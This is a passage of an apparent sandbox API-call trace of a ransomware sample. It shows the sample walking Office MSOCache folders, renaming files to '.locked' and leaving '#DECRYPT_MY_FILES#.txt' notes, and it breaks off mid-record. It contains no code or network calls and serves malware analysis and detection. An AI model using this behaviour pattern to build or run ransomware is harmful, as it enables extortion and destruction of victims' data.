[0032.131] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x18, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0032.131] AreFileApisANSI () returned 1 [0032.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.135] AreFileApisANSI () returned 1 [0032.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.135] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0032.136] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x18, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0032.136] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0032.136] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0032.136] AreFileApisANSI () returned 1 [0032.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.139] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb62492c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb62492c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0032.139] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb62492c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb62492c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0032.139] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb62492c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb62492c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb62492c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.139] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="1033", cAlternateFileName="")) returned 1 [0032.139] AreFileApisANSI () returned 1 [0032.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0032.141] GetFileType (hFile=0xc8) returned 0x1 [0032.142] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb62492c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb62492c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0032.142] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb62492c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb62492c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0032.142] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb62492c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb62492c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb62492c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0xfa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.142] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0032.142] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0032.142] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0032.142] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0032.142] AreFileApisANSI () returned 1 [0032.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0032.696] AreFileApisANSI () returned 1 [0032.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0032.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0032.696] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.locked"), dwFlags=0x2) returned 1 [0032.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x18, dwReserved1=0x3, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0032.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x18, dwReserved1=0x3, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0032.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x18, dwReserved1=0x3, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0032.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x18, dwReserved1=0x3, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0032.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0032.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0032.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0032.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0032.698] AreFileApisANSI () returned 1 [0032.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0032.705] AreFileApisANSI () returned 1 [0032.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0032.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0032.705] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.locked"), dwFlags=0x2) returned 1 [0032.706] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x18, dwReserved1=0x3, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0032.706] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0032.706] AreFileApisANSI () returned 1 [0032.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.709] AreFileApisANSI () returned 1 [0032.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0032.709] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.locked"), dwFlags=0x2) returned 1 [0032.710] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x3, dwReserved1=0x3, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0032.710] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x3, dwReserved1=0x3, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0032.710] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x3, dwReserved1=0x3, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0032.710] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0032.710] AreFileApisANSI () returned 1 [0032.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.722] AreFileApisANSI () returned 1 [0032.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.722] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0032.722] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3, dwReserved1=0x3, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0032.722] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3, dwReserved1=0x3, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0032.722] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0032.722] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0032.723] AreFileApisANSI () returned 1 [0032.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.806] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb6888c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6888c80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0032.806] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb6888c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6888c80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0032.806] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6888c80, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb6888c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb68aede0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.806] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0032.806] AreFileApisANSI () returned 1 [0032.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 100 [0032.812] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, 